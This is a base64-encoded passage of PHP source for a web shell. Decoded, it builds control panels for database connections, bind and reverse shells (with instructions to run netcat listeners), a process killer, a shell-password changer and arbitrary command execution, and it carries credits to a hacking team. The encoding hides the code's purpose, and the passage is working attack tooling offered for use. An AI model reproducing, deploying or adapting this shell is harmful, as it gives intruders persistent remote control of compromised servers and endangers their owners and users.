ZS4iPC9oMj4NCgkJCQkJPGZvcm0gYWN0aW9uPSciLiRzX3NlbGYuIicgbWV0aG9kPSdwb3N0JyAvPg0KCQkJCQk8dGFibGUgY2xhc3M9J215Ym94dGJsJz4NCgkJCQkJPHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTcwcHg7Jz5EQiBGaWxlPC90ZD48dGQ+PGlucHV0IHN0eWxlPSd3aWR0aDoxMDAlOycgY2xhc3M9J2lucHV0eicgdHlwZT0ndGV4dCcgbmFtZT0nc3FsaG9zdCcgdmFsdWU9JycgLz48L3RkPjwvdHI+DQoJCQkJCTwvdGFibGU+DQoJCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2Nvbm5lY3QnIGNsYXNzPSdpbnB1dHpidXQnIHZhbHVlPSdDb25uZWN0ICEnIHN0eWxlPSd3aWR0aDoxMjBweDtoZWlnaHQ6MzBweDttYXJnaW46MTBweCAycHggMCAycHg7JyAvPg0KCQkJCQk8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzcWx0eXBlJyB2YWx1ZT0nIi4kc19zcWxbJ3R5cGUnXS4iJyAvPg0KCQkJCQk8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzcWxpbml0JyB2YWx1ZT0naW5pdCcgLz4NCgkJCQkJPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neCcgdmFsdWU9J2RiJyAvPg0KCQkJCQk8L2Zvcm0+DQoJCQkJCTwvZGl2PiI7DQoJCQkJfQ0KCQkJCWVsc2V7DQoJCQkJCSRzX3Jlc3VsdCAuPSAiPGRpdiBjbGFzcz0nbXlib3gnPjxoMj4iLiRzX3NxbHRpdGxlLiI8L2gyPg0KCQkJCQk8Zm9ybSBhY3Rpb249JyIuJHNfc2VsZi4iJyBtZXRob2Q9J3Bvc3QnIC8+DQoJCQkJCTx0YWJsZSBjbGFzcz0nbXlib3h0YmwnPg0KCQkJCQk8dHI+PHRkIHN0eWxlPSd3aWR0aDoxNzBweDsnPkhvc3Q8L3RkPjx0ZD48aW5wdXQgc3R5bGU9J3dpZHRoOjEwMCU7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBuYW1lPSdzcWxob3N0JyB2YWx1ZT0nJyAvPjwvdGQ+PC90cj4NCgkJCQkJPHRyPjx0ZD5Vc2VybmFtZTwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3NxbHVzZXInIHZhbHVlPScnIC8+PC90ZD48L3RyPg0KCQkJCQk8dHI+PHRkPlBhc3N3b3JkPC90ZD48dGQ+PGlucHV0IHN0eWxlPSd3aWR0aDoxMDAlOycgY2xhc3M9J2lucHV0eicgdHlwZT0ncGFzc3dvcmQnIG5hbWU9J3NxbHBhc3MnIHZhbHVlPScnIC8+PC90ZD48L3RyPg0KCQkJCQk8dHI+PHRkPlBvcnQgKG9wdGlvbmFsKTwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3NxbHBvcnQnIHZhbHVlPScnIC8+PC90ZD48L3RyPg0KCQkJCQk8L3RhYmxlPg0KCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdjb25uZWN0JyBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nQ29ubmVjdCAhJyBzdHlsZT0nd2lkdGg6MTIwcHg7aGVpZ2h0OjMwcHg7bWFyZ2luOjEwcHggMnB4IDAgMnB4OycgLz4NCgkJCQkJPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsdHlwZScgdmFsdWU9JyIuJHNfc3FsWyd0eXBlJ10uIicgLz4NCgkJCQkJPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsaW5pdCcgdmFsdWU9J2luaXQnIC8+DQoJCQkJCTxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3gnIHZhbHVlPSdkYicgLz4NCgkJCQkJPC9mb3JtPg0KCQkJCQk8L2Rpdj4iOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCgllbHNlaWYoaXNzZXQoJF9HUFsneCddKSAmJiAoJF9HUFsneCddPT0nYzBkM3JzJykpeyANCgkJew0KCQkJCQkkc19yZXN1bHQgLj0gIjxjZW50ZXI+PGgxPkNvZGVyczwvaDE+DQoJCQkJCTxoMj5EZXZvbHBlZCBCeTwvaDI+PGJyPjxoMz5Ybm9ueW1vdXhfWG94b3I8L2gzPjxicj48aDM+SW5ub3hlbnRfSG94b3I8L2gzPjxicj48aDI+R3JlZXRzPC9oMj48aDM+QXR0aXR1ZGVfQjB5IHwgM3YxbCA3cDFyMXQgfCBYb25lciBYb3hvciB8IFhub25faDN4IHwgRXhwbG9pdF9MaW51eCB8IEFsbCBUZWFtIE9mIFhub255bW91eC5Pcmc8L2gzPjwvY2VudGVyPiI7DQoJCQkJfQ0KCX0NCgkvLyBiaW5kIGFuZCByZXZlcnNlIHNoZWxsDQoJZWxzZWlmKGlzc2V0KCRfR1BbJ3gnXSkgJiYgKCRfR1BbJ3gnXT09J3JzJykpew0KCQkvLyByZXNvdXJjZXMgJHNfcnNfcGwgJHNfcnNfcHkgJHNfcnNfcmIgJHNfcnNfanMgJHNfcnNfYyAkc19yc19qYXZhICRzX3JzX2phdmEgJHNfcnNfd2luICRzX3JzX3BocA0KCQkkc19yc2hvc3QgPSAkc19zZXJ2ZXJfaXA7DQoNCgkJJHNfcnNwb3J0ID0gIjEzMTIzIjsgLy8gZGVmYXVsdCBwb3J0DQoJCSRzX3JzcGVzYW5hID0gIlByZXNzICYjMzk7ICBHbyAhICAmIzM5OyBidXR0b24gYW5kIHJ1biAmIzM5OyAgbmMgPGk+c2VydmVyX2lwPC9pPiA8aT5wb3J0PC9pPiAgJiMzOTsgb24geW91ciBjb21wdXRlciI7DQoJCSRzX3JzcGVzYW5iID0gIlJ1biAmIzM5OyAgbmMgLWwgLXYgLXAgPGk+cG9ydDwvaT4gICYjMzk7IG9uIHlvdXIgY29tcHV0ZXIgYW5kIHByZXNzICYjMzk7ICBHbyAhICAmIzM5OyBidXR0b24iOw0KCQkkc19yc19lcnIgPSAiIjsNCg0KCQkkc19yc2JpbmQgPSAkc19yc2JhY2sgPSBhcnJheSgpOw0KDQoJCSRzX3JzYmluZFsiYmluZF9waHAiXSA9ICJCaW5kIFNoZWxsIDxzcGFuIGNsYXNzPSdkZXNjJyBzdHlsZT0nZm9udC1zaXplOjEycHg7Jz4tIHBocDwvc3Bhbj4iOw0KCQkkc19yc2JhY2tbImJhY2tfcGhwIl0gPSAiUmV2ZXJzZSBTaGVsbCA8c3BhbiBjbGFzcz0nZGVzYycgc3R5bGU9J2ZvbnQtc2l6ZToxMnB4Oyc+LSBwaHA8L3NwYW4+IjsNCg0KCQkkc19hY2Nlc3MgPSBhcnJheSgic19weXRob24iPT4icHkiLCAic19wZXJsIj0+InBsIiwgInNfcnVieSI9PiJyYiIsICJzX25vZGUiPT4ianMiLCAic19ub2RlanMiPT4ianMiLCAic19nY2MiPT4iYyIsICJzX2phdmFjIj0+ImphdmEiKTsNCgkJZm9yZWFjaCgkc19hY2Nlc3MgYXMgJGs9PiR2KXsNCgkJCWlmKGlzc2V0KCQkaykpew0KCQkJCSRzX3QgPSBleHBsb2RlKCJfIiwgJGspOw0KCQkJCSRzX3JzYmluZFsiYmluZF8iLiR2XSA9ICJCaW5kIFNoZWxsIDxzcGFuIGNsYXNzPSdkZXNjJyBzdHlsZT0nZm9udC1zaXplOjEycHg7Jz4tICIuJHNfdFsxXS4iPC9zcGFuPiI7DQoJCQkJJHNfcnNiYWNrWyJiYWNrXyIuJHZdID0gIlJldmVyc2UgU2hlbGwgPHNwYW4gY2xhc3M9J2Rlc2MnIHN0eWxlPSdmb250LXNpemU6MTJweDsnPi0gIi4kc190WzFdLiI8L3NwYW4+IjsNCgkJCX0NCgkJfQ0KDQoJCWlmKCRzX3dpbil7DQoJCQkkc19yc2JpbmRbImJpbmRfd2luIl0gPSAiQmluZCBTaGVsbCA8c3BhbiBjbGFzcz0nZGVzYycgc3R5bGU9J2ZvbnQtc2l6ZToxMnB4Oyc+LSB3aW5kb3dzIGV4ZWN1dGFibGU8L3NwYW4+IjsNCgkJCSRzX3JzYmFja1siYmFja193aW4iXSA9ICJSZXZlcnNlIFNoZWxsIDxzcGFuIGNsYXNzPSdkZXNjJyBzdHlsZT0nZm9udC1zaXplOjEycHg7Jz4tIHdpbmRvd3MgZXhlY3V0YWJsZTwvc3Bhbj4iOw0KCQl9DQoJCSRzX3JzbGlzdCA9IGFycmF5X21lcmdlKCRzX3JzYmluZCwkc19yc2JhY2spOw0KDQoJCWlmKCFAaXNfd3JpdGFibGUoJHNfY3dkKSkgJHNfcmVzdWx0IC49IG5vdGlmKCJEaXJlY3RvcnkgIi4kc19jd2QuIiBpcyBub3Qgd3JpdGFibGUsIHBsZWFzZSBjaGFuZ2UgdG8gYSB3cml0YWJsZSBvbmUiKTsNCg0KCQlmb3JlYWNoKCRzX3JzbGlzdCBhcyAkc19yc3R5cGU9PiRzX3JzdGl0bGUpew0KCQkJJHNfc3BsaXQgPSBleHBsb2RlKCJfIiwkc19yc3R5cGUpOw0KCQkJaWYoJHNfc3BsaXRbMF09PSJiaW5kIil7DQoJCQkJJHNfcnNwZXNhbiA9ICRzX3JzcGVzYW5hOw0KCQkJCSRzX3JzZGlzYWJsZWQgPSAiZGlzYWJsZWQ9J2Rpc2FibGVkJyI7DQoJCQkJJHNfcnN0YXJnZXQgPSAkc19zZXJ2ZXJfaXA7DQoJCQkJJHNfbGFiZWxpcCA9ICJTZXJ2ZXIgSVAiOw0KCQkJfQ0KCQkJZWxzZWlmKCRzX3NwbGl0WzBdPT0iYmFjayIpew0KCQkJCSRzX3JzcGVzYW4gPSAkc19yc3Blc2FuYjsNCgkJCQkkc19yc2Rpc2FibGVkID0gIiI7DQoJCQkJJHNfcnN0YXJnZXQgPSAkc19teV9pcDsNCgkJCQkkc19sYWJlbGlwID0gIlRhcmdldCBJUCI7DQoJCQl9DQoNCgkJCWlmKGlzc2V0KCRfR1BbJHNfcnN0eXBlXSkpew0KCQkJCWlmKGlzc2V0KCRfR1BbInJzaG9zdF8iLiRzX3JzdHlwZV0pKSAkc19yc2hvc3RfID0gJF9HUFsicnNob3N0XyIuJHNfcnN0eXBlXTsNCgkJCQlpZihpc3NldCgkX0dQWyJyc3BvcnRfIi4kc19yc3R5cGVdKSkgJHNfcnNwb3J0XyA9ICRfR1BbInJzcG9ydF8iLiRzX3JzdHlwZV07DQoNCgkJCQlpZigkc19zcGxpdFswXT09ImJpbmQiKSAkc19yc3RhcmdldF9wYWNrZWQgPSAkc19yc3BvcnRfOw0KCQkJCWVsc2VpZigkc19zcGxpdFswXT09ImJhY2siKSAkc19yc3RhcmdldF9wYWNrZWQgPSAkc19yc3BvcnRfLiIgIi4kc19yc2hvc3RfOw0KDQoJCQkJaWYoJHNfc3BsaXRbMV09PSJwbCIpICRzX3JzY29kZSA9ICRzX3JzX3BsOw0KCQkJCWVsc2VpZigkc19zcGxpdFsxXT09InB5IikgJHNfcnNjb2RlID0gJHNfcnNfcHk7DQoJCQkJZWxzZWlmKCRzX3NwbGl0WzFdPT0icmIiKSAkc19yc2NvZGUgPSAkc19yc19yYjsNCgkJCQllbHNlaWYoJHNfc3BsaXRbMV09PSJqcyIpICRzX3JzY29kZSA9ICRzX3JzX2pzOw0KCQkJCWVsc2VpZigkc19zcGxpdFsxXT09ImMiKSAkc19yc2NvZGUgPSAkc19yc19jOw0KCQkJCWVsc2VpZigkc19zcGxpdFsxXT09ImphdmEiKSAkc19yc2NvZGUgPSAkc19yc19qYXZhOw0KCQkJCWVsc2VpZigkc19zcGxpdFsxXT09IndpbiIpICRzX3JzY29kZSA9ICRzX3JzX3dpbjsNCgkJCQllbHNlaWYoJHNfc3BsaXRbMV09PSJwaHAiKSAkc19yc2NvZGUgPSAkc19yc19waHA7DQoNCgkJCQkkc19idWZmID0gcnMoJHNfcnN0eXBlLCRzX3JzdGFyZ2V0X3BhY2tlZCwkc19yc2NvZGUpOw0KCQkJCWlmKCRzX2J1ZmYhPSIiKSAkc19yc19lcnIgPSBub3RpZihoc3MoJHNfYnVmZikpOw0KCQkJfQ0KCQkJJHNfcmVzdWx0IC49ICI8ZGl2IGNsYXNzPSdteWJveCc+PGgyPiIuJHNfcnN0aXRsZS4iPC9oMj4NCgkJCTxmb3JtIGFjdGlvbj0nIi4kc19zZWxmLiInIG1ldGhvZD0ncG9zdCcgLz4NCgkJCTx0YWJsZSBjbGFzcz0nbXlib3h0YmwnPg0KCQkJPHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz4iLiRzX2xhYmVsaXAuIjwvdGQ+PHRkPjxpbnB1dCAiLiRzX3JzZGlzYWJsZWQuIiBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3JzaG9zdF8iLiRzX3JzdHlwZS4iJyB2YWx1ZT0nIi5oc3MoJHNfcnN0YXJnZXQpLiInIC8+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5Qb3J0PC90ZD48dGQ+PGlucHV0IHN0eWxlPSd3aWR0aDoxMDAlOycgY2xhc3M9J2lucHV0eicgdHlwZT0ndGV4dCcgbmFtZT0ncnNwb3J0XyIuJHNfcnN0eXBlLiInIHZhbHVlPSciLmhzcygkc19yc3BvcnQpLiInIC8+PC90ZD48L3RyPg0KCQkJPC90YWJsZT4NCgkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9JyIuJHNfcnN0eXBlLiInIGNsYXNzPSdpbnB1dHpidXQnIHZhbHVlPSdHbyAhJyBzdHlsZT0nd2lkdGg6MTIwcHg7aGVpZ2h0OjMwcHg7bWFyZ2luOjEwcHggMnB4IDAgMnB4OycgLz4NCgkJCSZuYnNwOyZuYnNwOzxzcGFuPiIuJHNfcnNwZXNhbi4iPC9zcGFuPg0KCQkJPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neCcgdmFsdWU9J3JzJyAvPg0KCQkJPC9mb3JtPg0KCQkJPC9kaXY+IjsNCgkJfQ0KCQkkc19yZXN1bHQgPSAkc19yc19lcnIuJHNfcmVzdWx0Ow0KCX0gLy8gdGFzayBtYW5hZ2VyDQoJZWxzZWlmKGlzc2V0KCRfR1BbJ3gnXSkgJiYgKCRfR1BbJ3gnXT09J3BzJykpew0KCQkkc19idWZmID0gIiI7DQoJCS8vIGtpbGwgcHJvY2VzcyBzcGVjaWZpZWQgYnkgcGlkDQoJCWlmKGlzc2V0KCRfR1BbJ3BpZCddKSl7DQoJCQkkc19wID0gdHJpbSgkX0dQWydwaWQnXSwifCIpOw0KCQkJJHNfcGFyciA9IGV4cGxvZGUoInwiLCAkc19wKTsNCg0KCQkJZm9yZWFjaCgkc19wYXJyIGFzICRzX3Apew0KCQkJCWlmKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfa2lsbCIpKSAkc19idWZmIC49IChwb3NpeF9raWxsKCRzX3AsJzknKSk/IG5vdGlmKCJQcm9jZXNzIHdpdGggcGlkICIuJHNfcC4iIGhhcyBiZWVuIHN1Y2Nlc3NmdWxseSBraWxsZWQiKTpub3RpZigiVW5hYmxlIHRvIGtpbGwgcHJvY2VzcyB3aXRoIHBpZCAiLiRzX3ApOw0KCQkJCWVsc2V7DQoJCQkJCWlmKCEkc193aW4pICRzX2J1ZmYgLj0gbm90aWYoZXhlKCJraWxsIC05ICIuJHNfcCkpOw0KCQkJCQllbHNlICRzX2J1ZmYgLj0gbm90aWYoZXhlKCJ0YXNra2lsbCAvRiAvUElEICIuJHNfcCkpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KDQoJCWlmKCEkc193aW4pICRzX2ggPSAicHMgYXV4IjsgLy8gbml4DQoJCWVsc2UgJHNfaCA9ICJ0YXNrbGlzdCAvViAvRk8gY3N2IjsgLy8gd2luDQoJCSRzX3djb3VudCA9IDExOw0KCQkkc193ZXhwbG9kZSA9ICIgIjsNCgkJaWYoJHNfd2luKSAkc193ZXhwbG9kZSA9ICJcIixcIiI7DQoNCgkJJHNfcmVzID0gZXhlKCRzX2gpOw0KCQlpZih0cmltKCRzX3Jlcyk9PScnKSAkc19yZXN1bHQgPSBub3RpZigiRXJyb3IgZ2V0dGluZyBwcm9jZXNzIGxpc3QiKTsNCgkJZWxzZXsNCgkJCWlmKCRzX2J1ZmYhPSIiKSAkc19yZXN1bHQgPSAkc19idWZmOw0KCQkJJHNfcmVzdWx0IC49ICI8dGFibGUgY2xhc3M9J2V4cGxvcmUgc29ydGFibGUnPiI7DQoJCQlpZighJHNfd2luKSAkc19yZXMgPSBwcmVnX3JlcGxhY2UoJyNcICsjJywnICcsJHNfcmVzKTsNCg0KCQkJJHNfcHNhcnIgPSBleHBsb2RlKCJcbiIsJHNfcmVzKTsNCgkJCSRzX2ZpID0gdHJ1ZTsNCgkJCSRzX3RibGNvdW50ID0gMDsNCg0KCQkJJHNfY2hlY2sgPSBleHBsb2RlKCRzX3dleHBsb2RlLCRzX3BzYXJyWzBdKTsNCgkJCSRzX3djb3VudCA9IGNvdW50KCRzX2NoZWNrKTsNCg0KCQkJZm9yZWFjaCgkc19wc2FyciBhcyAkc19wc2Epew0KCQkJCWlmKHRyaW0oJHNfcHNhKSE9Jycpew0KCQkJCQlpZigkc19maSl7DQoJCQkJCQkkc19maSA9IGZhbHNlOw0KCQkJCQkJJHNfcHNsbiA9IGV4cGxvZGUoJHNfd2V4cGxvZGUsICRzX3BzYSwgJHNfd2NvdW50KTsNCgkJCQkJCSRzX3Jlc3VsdCAuPSAiPHRyPjx0aCBzdHlsZT0nd2lkdGg6MjRweDsnIGNsYXNzPSdzb3J0dGFibGVfbm9zb3J0Jz48L3RoPjx0aCBjbGFzcz0nc29ydHRhYmxlX25vc29ydCc+YWN0aW9uPC90aD4iOw0KCQkJCQkJZm9yZWFjaCgkc19wc2xuIGFzICRzX3ApICRzX3Jlc3VsdCAuPSAiPHRoPiIudHJpbSh0cmltKHN0cnRvbG93ZXIoJHNfcCkpICwiXCIiKS4iPC90aD4iOw0KCQkJCQkJJHNfcmVzdWx0IC49ICI8L3RyPiI7DQoJCQkJCX0NCgkJCQkJZWxzZXsNCgkJCQkJCSRzX3BzbG4gPSBleHBsb2RlKCRzX3dleHBsb2RlLCAkc19wc2EsICRzX3djb3VudCk7DQoJCQkJCQkkc19yZXN1bHQgLj0gIjx0cj4iOw0KCQkJCQkJJHNfdGJsY291bnQgPSAwOw0KCQkJCQkJZm9yZWFjaCgkc19wc2xuIGFzICRzX3Apew0KCQkJCQkJCSRzX3BpZCA9IHRyaW0odHJpbSgkc19wc2xuWzFdKSwiXCIiKTsNCgkJCQkJCQkkc19waWR1bmlxID0gc3Vic3RyKG1kNSgkc19waWQpLDAsOCk7DQoJCQkJCQkJaWYodHJpbSgkc19wKT09IiIpICRzX3AgPSAiJm5ic3A7IjsNCgkJCQkJCQlpZigkc190Ymxjb3VudCA9PSAwKXsNCgkJCQkJCQkJJHNfcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyO3RleHQtaW5kZW50OjRweDsnPjxpbnB1dCBpZD0nIi4kc19waWR1bmlxLiInIG5hbWU9J2Nib3gnIHZhbHVlPSciLiRzX3BpZC4iJyB0eXBlPSdjaGVja2JveCcgY2xhc3M9J2Nzcy1jaGVja2JveCcgb25jaGFuZ2U9J2hpbGl0ZSh0aGlzKTsnIC8+PGxhYmVsIGZvcj0nIi4kc19waWR1bmlxLiInIGNsYXNzPSdjc3MtbGFiZWwnPjwvbGFiZWw+PC90ZD48dGQgY2xhc3M9J2NlJz48YSBocmVmPSciLiRzX3NlbGYuIng9cHMmcGlkPSIuJHNfcGlkLiInPmtpbGw8L2E+PC90ZD48dGQgY2xhc3M9J2NlJz4iLnRyaW0odHJpbSgkc19wKSAsIlwiIikuIjwvdGQ+IjsNCgkJCQkJCQkJJHNfdGJsY291bnQrKzsNCgkJCQkJCQl9DQoJCQkJCQkJZWxzZXsNCgkJCQkJCQkJJHNfdGJsY291bnQrKzsNCgkJCQkJCQkJaWYoJHNfdGJsY291bnQgPT0gY291bnQoJHNfcHNsbikpICRzX3Jlc3VsdCAuPSAiPHRkIGNsYXNzPSdsZSc+Ii50cmltKHRyaW0oJHNfcCkgLCJcIiIpLiI8L3RkPiI7DQoJCQkJCQkJCWVsc2UgJHNfcmVzdWx0IC49ICI8dGQgY2xhc3M9J2NlJz4iLnRyaW0odHJpbSgkc19wKSAsIlwiIikuIjwvdGQ+IjsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCQkkc19yZXN1bHQgLj0gIjwvdHI+IjsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJCSRjb2xzcGFuID0gY291bnQoJHNfcHNsbikrMTsNCgkJCSRzX3Jlc3VsdCAuPSAiPHRmb290Pjx0ciBjbGFzcz0nY2JveF9zZWxlY3RlZCc+PHRkIGNsYXNzPSdjYm94X2FsbCc+DQoJCQk8Zm9ybSBhY3Rpb249JyIuJHNfc2VsZi4iJyBtZXRob2Q9J3Bvc3QnPjxpbnB1dCBpZD0nY2hlY2thbGxsJyB0eXBlPSdjaGVja2JveCcgbmFtZT0nYWJveCcgY2xhc3M9J2Nzcy1jaGVja2JveCcgb25jbGljaz0nY2hlY2thbGwoKTsnIC8+PGxhYmVsIGZvcj0nY2hlY2thbGxsJyBjbGFzcz0nY3NzLWxhYmVsJz48L2xhYmVsPjwvZm9ybT4NCgkJCTwvdGQ+PHRkIHN0eWxlPSd0ZXh0LWluZGVudDoxMHB4O3BhZGRpbmc6MnB4OycgY29sc3Bhbj0iLiRjb2xzcGFuLiI+PGEgaHJlZj0namF2YXNjcmlwdDogcGtpbGwoKTsnPmtpbGwgc2VsZWN0ZWQgPHNwYW4gaWQ9J3RvdGFsX3NlbGVjdGVkJz48L3NwYW4+PC9hPjwvdGQ+DQoJCQk8L3RyPjwvdGZvb3Q+PC90YWJsZT4iOw0KCQl9DQoJfQ0KCWVsc2VpZihpc3NldCgkX0dQWyd4J10pICYmICgkX0dQWyd4J109PSdwYXNzJykpew0KCQlpZihpc3NldCgkX0dQWydzdWJtaXRuZXdwYXNzJ10pKXsNCgkJCSRuZXdwYXNzID0gaXNzZXQoJF9HUFsnbmV3cGFzcyddKT8gdHJpbSgkX0dQWyduZXdwYXNzJ10pOiIiOw0KCQkJJG5ld3Bhc3N4ID0gaXNzZXQoJF9HUFsnbmV3cGFzc3gnXSk/IHRyaW0oJF9HUFsnbmV3cGFzc3gnXSk6IiI7DQoJCQkNCgkJCWlmKGVtcHR5KCRuZXdwYXNzKSB8fCBlbXB0eSgkbmV3cGFzc3gpKXsNCgkJCQkkc19yZXN1bHQgLj0gbm90aWYoJ0dpdmUgeW91ciBuZXcgcGFzc3dvcmQgdG8gYm90aCBmaWVsZHMnKTsNCgkJCX0NCgkJCWVsc2VpZigkbmV3cGFzcyAhPSAkbmV3cGFzc3gpew0KCQkJCSRzX3Jlc3VsdCAuPSBub3RpZignUGFzc3dvcmQgZG9lcyBub3QgbWF0Y2gnKTsNCgkJCX0NCgkJCWVsc2V7DQoJCQkJaWYoY2hhbmdlcGFzcygkbmV3cGFzcykpew0KCQkJCQkkc19yZXN1bHQgLj0gbm90aWYoIlBhc3N3b3JkIGNoYW5nZWQiKTsNCgkJCQl9DQoJCQkJZWxzZSAkc19yZXN1bHQgLj0gbm90aWYoIlVuYWJsZSB0byBjaGFuZ2UgcGFzc3dvcmQiKTsNCgkJCX0NCgkJfQ0KCQkNCgkJDQoJCSRzX3Jlc3VsdCAuPSAiPGRpdiBjbGFzcz0nbXlib3gnPjxoMj5DaGFuZ2Ugc2hlbGwgcGFzc3dvcmQ8L2gyPg0KCQkJPGZvcm0gYWN0aW9uPSciLiRzX3NlbGYuIicgbWV0aG9kPSdwb3N0JyAvPg0KCQkJPHRhYmxlIGNsYXNzPSdteWJveHRibCc+DQoJCQk8dHI+PHRkIHN0eWxlPSd3aWR0aDoxMjBweDsnPk5ldyBwYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3Bhc3N3b3JkJyBuYW1lPSduZXdwYXNzJyB2YWx1ZT0nJyAvPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQgc3R5bGU9J3dpZHRoOjEyMHB4Oyc+Q29uZmlybSBwYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3Bhc3N3b3JkJyBuYW1lPSduZXdwYXNzeCcgdmFsdWU9JycgLz48L3RkPjwvdHI+DQoJCQk8L3RhYmxlPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0bmV3cGFzcycgY2xhc3M9J2lucHV0emJ1dCcgdmFsdWU9J0NoYW5nZSBQYXNzd29yZCcgc3R5bGU9J3dpZHRoOjEyMHB4O2hlaWdodDozMHB4O21hcmdpbjoxMHB4IDJweCAwIDJweDsnIC8+DQoJCQk8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd4JyB2YWx1ZT0ncGFzcycgLz4NCgkJCTwvZm9ybT4NCgkJCTwvZGl2PiI7DQoJfQ0KCWVsc2V7DQoJCWlmKCFpc3NldCgkc19jd2QpKSAkc19jd2QgPSAiIjsNCgkJaWYoaXNzZXQoJF9HUFsnY21kJ10pKXsNCgkJCSRzX2NtZCA9ICRfR1BbJ2NtZCddOw0KCQkJaWYoc3RybGVuKCRzX2NtZCkgPiAwKXsNCgkJCQlpZihwcmVnX21hdGNoKCcjXmNkKFwgKSsoLiopIycsJHNfY21kLCRzX3IpKXsNCgkJCQkJJHNfbmQgPSB0cmltKCRzX3JbMl0pOw0KCQkJCQlpZihAaXNfZGlyKCRzX25kKSl7DQoJCQkJCQljaGRpcigkc19uZCk7DQoJCQkJCQkkc19jd2QgPSBjcChnZXRjd2QoKSk7DQoJCQkJCQlzZXRjb29raWUoImN3ZCIsICRzX2N3ZCAsdGltZSgpICsgJHNfbG9naW5fdGltZSk7DQoJCQkJCQkkc19yZXN1bHQgLj0gc2hvd2Rpcigkc19jd2QpOw0KCQkJCQl9DQoJCQkJCWVsc2VpZihAaXNfZGlyKCRzX2N3ZC4kc19uZCkpew0KCQkJCQkJY2hkaXIoJHNfY3dkLiRzX25kKTsNCgkJCQkJCSRzX2N3ZCA9IGNwKGdldGN3ZCgpKTsNCgkJCQkJCXNldGNvb2tpZSgiY3dkIiwgJHNfY3dkICx0aW1lKCkgKyAkc19sb2dpbl90aW1lKTsNCgkJCQkJCSRzX3Jlc3VsdCAuPSBzaG93ZGlyKCRzX2N3ZCk7DQoJCQkJCX0NCgkJCQkJZWxzZSAkc19yZXN1bHQgLj0gbm90aWYoaHNzKCRzX25kKS4iIGlzIG5vdCBhIGRpcmVjdG9yeSIpOw0KCQkJCX0NCgkJCQllbHNlew0KCQkJCQkkc19yID0gaHNzKGV4ZSgkc19jbWQpKTsNCgkJCQkJaWYoJHNfciAhPSAnJykgJHNfcmVzdWx0IC49ICI8cHJlPiIuJHNfci4iPC9wcmU+IjsNCgkJCQkJZWxzZSAkc19yZXN1bHQgLj0gc2hvd2Rpcigkc19jd2QpOw0KCQkJCX0NCgkJCX0NCgkJCWVsc2UgJHNfcmVzdWx0IC49IHNob3dkaXIoJHNfY3dkKTsNCgkJfQ0KCQllbHNlICRzX3Jlc3VsdCAuPSBzaG93ZGlyKCRzX2N3ZCk7DQoJfQ0KDQoJLy8gZmluZCBkcml2ZSBsZXR0ZXJzDQoJJHNfbGV0dGVycyA9ICcnOw0KCSRzX3YgPSBleHBsb2RlKCJcXCIsJHNfY3dkKTsNCgkkc192ID0gJHNfdlswXTsNCglmb3JlYWNoIChyYW5nZSgiQSIsICJaIikgYXMgJHNfbGV0dGVyKXsNCgkJaWYoQGlzX3JlYWRhYmxlKCRzX2xldHRlci4iOlxcIikpew0KCQkJJHNfbGV0dGVycyAuPSAiPGEgaHJlZj0nIi4kc19zZWxmLiJjZD0iLiRzX2xldHRlci4iOlxcJz5bICI7DQoJCQlpZigkc19sZXR0ZXIuIjoiICE9ICRzX3YpICRzX2xldHRlcnMgLj0gJHNfbGV0dGVyOw0KCQkJZWxzZXskc19sZXR0ZXJzIC49ICI8c3BhbiBjbGFzcz0nZHJpdmUtbGV0dGVyJz4iLiRzX2xldHRlci4iPC9zcGFuPiI7fQ0KCQkJJHNfbGV0dGVycyAuPSAiIF08L2E+ICI7DQoJCX0NCgl9DQoNCgkvLyBwcmludCB1c2VmdWwgaW5mbw0KCSRzX2luZm8gID0gIjx0YWJsZSBjbGFzcz0naGVhZHRibCc+PHRyPjx0ZD5VbmFtZTogICIuJHNfc3lzdGVtLiI8L3RkPjwvdHI+IjsNCgkkc19pbmZvIC49ICI8dHI+PHRkPk9TIDogICIuJHNfc29mdHdhcmUuIjwvdGQ+PC90cj4iOw0KCSRzX2luZm8gLj0gIjx0cj48dGQ+U2VydmVyIElQIDogIi4kc19zZXJ2ZXJfaXAuIjxzcGFuIGNsYXNzPSdnYXlhJz4gIDwvc3Bhbj48YnI+WW91ciAgIElQIDogIi4kc19teV9pcDsNCgkkc19pbmZvIC49ICI8c3BhbiBjbGFzcz0nZ2F